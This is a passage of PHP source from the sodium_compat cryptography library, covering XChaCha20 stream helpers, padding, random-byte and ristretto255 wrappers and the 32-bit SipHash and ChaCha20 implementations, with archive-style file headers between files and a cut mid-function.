$nonce Number to be used Once; must be 24 bytes * @param string $key XChaCha20 key * @param bool $dontFallback * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20($len, $nonce, $key, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20($len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor($message, $nonce, $key, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key); } /** * Return a secure random key for use with crypto_stream_xchacha20 * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_xchacha20_keygen() { return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES); } /** * Cache-timing-safe implementation of hex2bin(). * * @param string $string Hexadecimal string * @return string Raw binary string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function hex2bin($string) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); if (self::useNewSodiumAPI()) { if (is_callable('sodium_hex2bin')) { return (string) sodium_hex2bin($string); } } if (self::use_fallback('hex2bin')) { return (string) call_user_func('\\Sodium\\hex2bin', $string); } return ParagonIE_Sodium_Core_Util::hex2bin($string); } /** * Increase a string (little endian) * * @param string $var * * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function increment(&$var) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { sodium_increment($var); return; } if (self::use_fallback('increment')) { $func = '\\Sodium\\increment'; $func($var); return; } $len = ParagonIE_Sodium_Core_Util::strlen($var); $c = 1; $copy = ''; for ($i = 0; $i < $len; ++$i) { $c += ParagonIE_Sodium_Core_Util::chrToInt( ParagonIE_Sodium_Core_Util::substr($var, $i, 1) ); $copy .= ParagonIE_Sodium_Core_Util::intToChr($c); $c >>= 8; } $var = $copy; } /** * @param string $str * @return bool * * @throws SodiumException */ public static function is_zero($str) { $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]); } return ((($d - 1) >> 31) & 1) === 1; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_major() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) { return SODIUM_LIBRARY_MAJOR_VERSION; } if (self::use_fallback('library_version_major')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_major'); } return self::LIBRARY_VERSION_MAJOR; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_minor() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) { return SODIUM_LIBRARY_MINOR_VERSION; } if (self::use_fallback('library_version_minor')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_minor'); } return self::LIBRARY_VERSION_MINOR; } /** * Compare two strings. * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function memcmp($left, $right) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return sodium_memcmp($left, $right); } if (self::use_fallback('memcmp')) { return (int) call_user_func('\\Sodium\\memcmp', $left, $right); } /** @var string $left */ /** @var string $right */ return ParagonIE_Sodium_Core_Util::memcmp($left, $right); } /** * It's actually not possible to zero memory buffers in PHP. You need the * native library for that. * * @param string|null $var * @param-out string|null $var * * @return void * @throws SodiumException (Unless libsodium is installed) * @throws TypeError * @psalm-suppress TooFewArguments */ public static function memzero(&$var) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { /** @psalm-suppress MixedArgument */ sodium_memzero($var); return; } if (self::use_fallback('memzero')) { $func = '\\Sodium\\memzero'; $func($var); if ($var === null) { return; } } // This is the best we can do. throw new SodiumException( 'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' . 'To fix this error, make sure libsodium is installed and the PHP extension is enabled.' ); } /** * @param string $unpadded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function pad($unpadded, $blockSize, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $unpadded = (string) $unpadded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_pad($unpadded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException( 'block size cannot be less than 1' ); } $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded); $xpadlen = ($blockSize - 1); if (($blockSize & ($blockSize - 1)) === 0) { $xpadlen -= $unpadded_len & ($blockSize - 1); } else { $xpadlen -= $unpadded_len % $blockSize; } $xpadded_len = $unpadded_len + $xpadlen; $padded = str_repeat("\0", $xpadded_len - 1); if ($unpadded_len > 0) { $st = 1; $i = 0; $k = $unpadded_len; for ($j = 0; $j <= $xpadded_len; ++$j) { $i = (int) $i; $k = (int) $k; $st = (int) $st; if ($j >= $unpadded_len) { $padded[$j] = "\0"; } else { $padded[$j] = $unpadded[$j]; } /** @var int $k */ $k -= $st; $st = (int) (~( ( ( ($k >> 48) | ($k >> 32) | ($k >> 16) | $k ) - 1 ) >> 16 ) ) & 1; $i += $st; } } $mask = 0; $tail = $xpadded_len; for ($i = 0; $i < $blockSize; ++$i) { # barrier_mask = (unsigned char) # (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT)); $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1); # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask); $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask) | (0x80 & $barrier_mask) ); # mask |= barrier_mask; $mask |= $barrier_mask; } return $padded; } /** * @param string $padded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function unpad($padded, $blockSize, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $padded = (string) $padded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_unpad($padded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException('block size cannot be less than 1'); } $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded); if ($padded_len < $blockSize) { throw new SodiumException('invalid padding'); } # tail = &padded[padded_len - 1U]; $tail = $padded_len - 1; $acc = 0; $valid = 0; $pad_len = 0; $found = 0; for ($i = 0; $i < $blockSize; ++$i) { # c = tail[-i]; $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]); # is_barrier = # (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U; $is_barrier = ( ( ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1) ) >> 7 ) & 1; $is_barrier &= ~$found; $found |= $is_barrier; # acc |= c; $acc |= $c; # pad_len |= i & (1U + ~is_barrier); $pad_len |= $i & (1 + ~$is_barrier); # valid |= (unsigned char) is_barrier; $valid |= ($is_barrier & 0xff); } # unpadded_len = padded_len - 1U - pad_len; $unpadded_len = $padded_len - 1 - $pad_len; if ($valid !== 1) { throw new SodiumException('invalid padding'); } return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len); } /** * Will sodium_compat run fast on the current hardware and PHP configuration? * * @return bool */ public static function polyfill_is_fast() { if (extension_loaded('sodium')) { return true; } if (extension_loaded('libsodium')) { return true; } return PHP_INT_SIZE === 8; } /** * Generate a string of bytes from the kernel's CSPRNG. * Proudly uses /dev/urandom (if getrandom(2) is not available). * * @param int $numBytes * @return string * @throws Exception * @throws TypeError */ public static function randombytes_buf($numBytes) { /* Type checks: */ if (!is_int($numBytes)) { if (is_numeric($numBytes)) { $numBytes = (int) $numBytes; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.' ); } } /** @var positive-int $numBytes */ if (self::use_fallback('randombytes_buf')) { return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes); } if ($numBytes < 0) { throw new SodiumException("Number of bytes must be a positive integer"); } return random_bytes($numBytes); } /** * Generate an integer between 0 and $range (non-inclusive). * * @param int $range * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_uniform($range) { /* Type checks: */ if (!is_int($range)) { if (is_numeric($range)) { $range = (int) $range; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($range) . ' given.' ); } } if (self::use_fallback('randombytes_uniform')) { return (int) call_user_func('\\Sodium\\randombytes_uniform', $range); } return random_int(0, $range - 1); } /** * Generate a random 16-bit integer. * * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_random16() { if (self::use_fallback('randombytes_random16')) { return (int) call_user_func('\\Sodium\\randombytes_random16'); } return random_int(0, 65535); } /** * @param string $p * @param bool $dontFallback * @return bool * @throws SodiumException */ public static function ristretto255_is_valid_point($p, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_is_valid_point($p); } try { $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p); return $r['res'] === 0 && ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1; } catch (SodiumException $ex) { if ($ex->getMessage() === 'S is not canonical') { return false; } throw $ex; } } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_add($p, $q, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_add($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q); } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_sub($p, $q, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_sub($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q); } /** * @param string $r * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_from_hash($r, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_from_hash($r); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random(); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_scalar_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random(); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_invert($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_invert($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_negate($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_complement($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_add($x, $y, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_add($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_sub($x, $y, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_sub($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_mul($x, $y, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_mul($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255($n, $p, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255($n, $p); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base($n, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255_base($n); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_reduce($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_reduce($s); } return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s); } /** * Runtime testing method for 32-bit platforms. * * Usage: If runtime_speed_test() returns FALSE, then our 32-bit * implementation is to slow to use safely without risking timeouts. * If this happens, install sodium from PECL to get acceptable * performance. * * @param int $iterations Number of multiplications to attempt * @param int $maxTimeout Milliseconds * @return bool TRUE if we're fast enough, FALSE is not * @throws SodiumException */ public static function runtime_speed_test($iterations, $maxTimeout) { if (self::polyfill_is_fast()) { return true; } /** @var float $end */ $end = 0.0; /** @var float $start */ $start = microtime(true); /** @var ParagonIE_Sodium_Core32_Int64 $a */ $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); for ($i = 0; $i < $iterations; ++$i) { /** @var ParagonIE_Sodium_Core32_Int64 $b */ $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); $a->mulInt64($b); } /** @var float $end */ $end = microtime(true); /** @var int $diff */ $diff = (int) ceil(($end - $start) * 1000); return $diff < $maxTimeout; } /** * Add two numbers (little-endian unsigned), storing the value in the first * parameter. * * This mutates $val. * * @param string $val * @param string $addv * @return void * @throws SodiumException */ public static function sub(&$val, $addv) { $val_len = ParagonIE_Sodium_Core_Util::strlen($val); $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv); if ($val_len !== $addv_len) { throw new SodiumException('values must have the same length'); } $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val); $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv); $c = 0; for ($i = 0; $i < $val_len; $i++) { $c = ($A[$i] - $B[$i] - $c); $A[$i] = ($c & 0xff); $c = ($c >> 8) & 1; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * This emulates libsodium's version_string() function, except ours is * prefixed with 'polyfill-'. * * @return string * @psalm-suppress MixedInferredReturnType * @psalm-suppress UndefinedFunction */ public static function version_string() { if (self::useNewSodiumAPI()) { return (string) sodium_version_string(); } if (self::use_fallback('version_string')) { return (string) call_user_func('\\Sodium\\version_string'); } return (string) self::VERSION_STRING; } /** * Should we use the libsodium core function instead? * This is always a good idea, if it's available. (Unless we're in the * middle of running our unit test suite.) * * If ext/libsodium is available, use it. Return TRUE. * Otherwise, we have to use the code provided herein. Return FALSE. * * @param string $sodium_func_name * * @return bool */ protected static function use_fallback($sodium_func_name = '') { static $res = null; if ($res === null) { $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300; } if ($res === false) { // No libsodium installed return false; } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } if (!empty($sodium_func_name)) { return is_callable('\\Sodium\\' . $sodium_func_name); } return true; } /** * Libsodium as implemented in PHP 7.2 * and/or ext/sodium (via PECL) * * @ref https://wiki.php.net/rfc/libsodium * @return bool */ protected static function useNewSodiumAPI() { static $res = null; if ($res === null) { $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium'); } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } return (bool) $res; } } sodium_compat/src/Core32/SipHash.php000064400000014725147177035010013321 0ustar00 $v * @return array */ public static function sipRound(array $v) { # v0 += v1; $v[0] = $v[0]->addInt64($v[1]); # v1 = ROTL(v1, 13); $v[1] = $v[1]->rotateLeft(13); # v1 ^= v0; $v[1] = $v[1]->xorInt64($v[0]); # v0=ROTL(v0,32); $v[0] = $v[0]->rotateLeft(32); # v2 += v3; $v[2] = $v[2]->addInt64($v[3]); # v3=ROTL(v3,16); $v[3] = $v[3]->rotateLeft(16); # v3 ^= v2; $v[3] = $v[3]->xorInt64($v[2]); # v0 += v3; $v[0] = $v[0]->addInt64($v[3]); # v3=ROTL(v3,21); $v[3] = $v[3]->rotateLeft(21); # v3 ^= v0; $v[3] = $v[3]->xorInt64($v[0]); # v2 += v1; $v[2] = $v[2]->addInt64($v[1]); # v1=ROTL(v1,17); $v[1] = $v[1]->rotateLeft(17); # v1 ^= v2; $v[1] = $v[1]->xorInt64($v[2]); # v2=ROTL(v2,32) $v[2] = $v[2]->rotateLeft(32); return $v; } /** * @internal You should not use this directly from another application * * @param string $in * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function sipHash24($in, $key) { $inlen = self::strlen($in); # /* "somepseudorandomlygeneratedbytes" */ # u64 v0 = 0x736f6d6570736575ULL; # u64 v1 = 0x646f72616e646f6dULL; # u64 v2 = 0x6c7967656e657261ULL; # u64 v3 = 0x7465646279746573ULL; $v = array( new ParagonIE_Sodium_Core32_Int64( array(0x736f, 0x6d65, 0x7073, 0x6575) ), new ParagonIE_Sodium_Core32_Int64( array(0x646f, 0x7261, 0x6e64, 0x6f6d) ), new ParagonIE_Sodium_Core32_Int64( array(0x6c79, 0x6765, 0x6e65, 0x7261) ), new ParagonIE_Sodium_Core32_Int64( array(0x7465, 0x6462, 0x7974, 0x6573) ) ); # u64 k0 = LOAD64_LE( k ); # u64 k1 = LOAD64_LE( k + 8 ); $k = array( ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($key, 0, 8) ), ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($key, 8, 8) ) ); # b = ( ( u64 )inlen ) << 56; $b = new ParagonIE_Sodium_Core32_Int64( array(($inlen << 8) & 0xffff, 0, 0, 0) ); # v3 ^= k1; $v[3] = $v[3]->xorInt64($k[1]); # v2 ^= k0; $v[2] = $v[2]->xorInt64($k[0]); # v1 ^= k1; $v[1] = $v[1]->xorInt64($k[1]); # v0 ^= k0; $v[0] = $v[0]->xorInt64($k[0]); $left = $inlen; # for ( ; in != end; in += 8 ) while ($left >= 8) { # m = LOAD64_LE( in ); $m = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($in, 0, 8) ); # v3 ^= m; $v[3] = $v[3]->xorInt64($m); # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= m; $v[0] = $v[0]->xorInt64($m); $in = self::substr($in, 8); $left -= 8; } # switch( left ) # { # case 7: b |= ( ( u64 )in[ 6] ) << 48; # case 6: b |= ( ( u64 )in[ 5] ) << 40; # case 5: b |= ( ( u64 )in[ 4] ) << 32; # case 4: b |= ( ( u64 )in[ 3] ) << 24; # case 3: b |= ( ( u64 )in[ 2] ) << 16; # case 2: b |= ( ( u64 )in[ 1] ) << 8; # case 1: b |= ( ( u64 )in[ 0] ); break; # case 0: break; # } switch ($left) { case 7: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[6]) << 16 ) ); case 6: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[5]) << 8 ) ); case 5: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[4]) ) ); case 4: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[3]) << 24, 0 ) ); case 3: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[2]) << 16, 0 ) ); case 2: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[1]) << 8, 0 ) ); case 1: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[0]), 0 ) ); case 0: break; } # v3 ^= b; $v[3] = $v[3]->xorInt64($b); # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= b; $v[0] = $v[0]->xorInt64($b); // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation # v2 ^= 0xff; $v[2]->limbs[3] ^= 0xff; # SIPROUND; # SIPROUND; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); # b = v0 ^ v1 ^ v2 ^ v3; # STORE64_LE( out, b ); return $v[0] ->xorInt64($v[1]) ->xorInt64($v[2]) ->xorInt64($v[3]) ->toReverseString(); } } sodium_compat/src/Core32/ChaCha20.php000064400000034257147177035010013235 0ustar00 * @throws SodiumException * @throws TypeError */ protected static function quarterRound( ParagonIE_Sodium_Core32_Int32 $a, ParagonIE_Sodium_Core32_Int32 $b, ParagonIE_Sodium_Core32_Int32 $c, ParagonIE_Sodium_Core32_Int32 $d ) { /** @var ParagonIE_Sodium_Core32_Int32 $a */ /** @var ParagonIE_Sodium_Core32_Int32 $b */ /** @var ParagonIE_Sodium_Core32_Int32 $c */ /** @var ParagonIE_Sodium_Core32_Int32 $d */ # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); $a = $a->addInt32($b); $d = $d->xorInt32($a)->rotateLeft(16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); $c = $c->addInt32($d); $b = $b->xorInt32($c)->rotateLeft(12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); $a = $a->addInt32($b); $d = $d->xorInt32($a)->rotateLeft(8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); $c = $c->addInt32($d); $b = $b->xorInt32($c)->rotateLeft(7); return array($a, $b, $c, $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws SodiumException * @throws TypeError */ public static function encryptBytes( ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /** @var ParagonIE_Sodium_Core32_Int32 $x0 */ /** @var ParagonIE_Sodium_Core32_Int32 $x1 */ /** @var ParagonIE_Sodium_Core32_Int32 $x2 */ /** @var ParagonIE_Sodium_Core32_Int32 $x3 */ /** @var ParagonIE_Sodium_Core32_Int32 $x4 */ /** @var ParagonIE_Sodium_Core32_Int32 $x5 */ /** @var ParagonIE_Sodium_Core32_Int32 $x6 */ /** @var ParagonIE_Sodium_Core32_Int32 $x7 */ /** @var ParagonIE_Sodium_Core32_Int32 $x8 */ /** @var ParagonIE_Sodium_Core32_Int32 $x9 */ /** @var ParagonIE_Sodium_Core32_Int32 $x10 */ /** @var ParagonIE_Sodium_Core32_Int32 $x11 */ /** @var ParagonIE_Sodium_Core32_Int32 $x12 */ /** @var ParagonIE_Sodium_Core32_Int32 $x13 */ /** @var ParagonIE_Sodium_Core32_Int32 $x14 */ /** @var ParagonIE_Sodium_Core32_Int32 $x15 */ /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ /** @var ParagonIE_Sodium_Core32_Int32 $j0 */ $j0 = $ctx[0]; /** @var ParagonIE_Sodium_Core32_Int32 $j1 */ $j1 = $ctx[1]; /** @var ParagonIE_Sodium_Core32_Int32 $j2 */ $j2 = $ctx[2]; /** @var ParagonIE_Sodium_Core32_Int32 $j3 */ $j3 = $ctx[3]; /** @var ParagonIE_Sodium_Core32_Int32 $j4 */ $j4 = $ctx[4]; /** @var ParagonIE_Sodium_Core32_Int32 $j5 */ $j5 = $ctx[5]; /** @var ParagonIE_Sodium_Core32_Int32 $j6 */ $j6 = $ctx[6]; /** @var ParagonIE_Sodium_Core32_Int32 $j7 */ $j7 = $ctx[7]; /** @var ParagonIE_Sodium_Core32_Int32 $j8 */ $j8 = $ctx[8]; /** @var ParagonIE_Sodium_Core32_Int32 $j9 */ $j9 = $ctx[9]; /** @var ParagonIE_Sodium_Core32_Int32 $j10 */ $j10 = $ctx[10]; /** @var ParagonIE_Sodium_Core32_Int32 $j11 */ $j11 = $ctx[11]; /** @var ParagonIE_Sodium_Core32_Int32 $j12 */ $j12 = $ctx[12]; /** @var ParagonIE_Sodium_Core32_Int32 $j13 */ $j13 = $ctx[13]; /** @var ParagonIE_Sodium_Core32_Int32 $j14 */ $j14 = $ctx[14]; /** @var ParagonIE_Sodium_Core32_Int32 $j15 */ $j15 = $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = clone $j0; $x1 = clone $j1; $x2 = clone $j2; $x3 = clone $j3; $x4 = clone $j4; $x5 = clone $j5; $x6 = clone $j6; $x7 = clone $j7; $x8 = clone $j8; $x9 = clone $j9; $x10 = clone $j10; $x11 = clone $j11; $x12 = clone $j12; $x13 = clone $j13; $x14 = clone $j14; $x15 = clone $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = 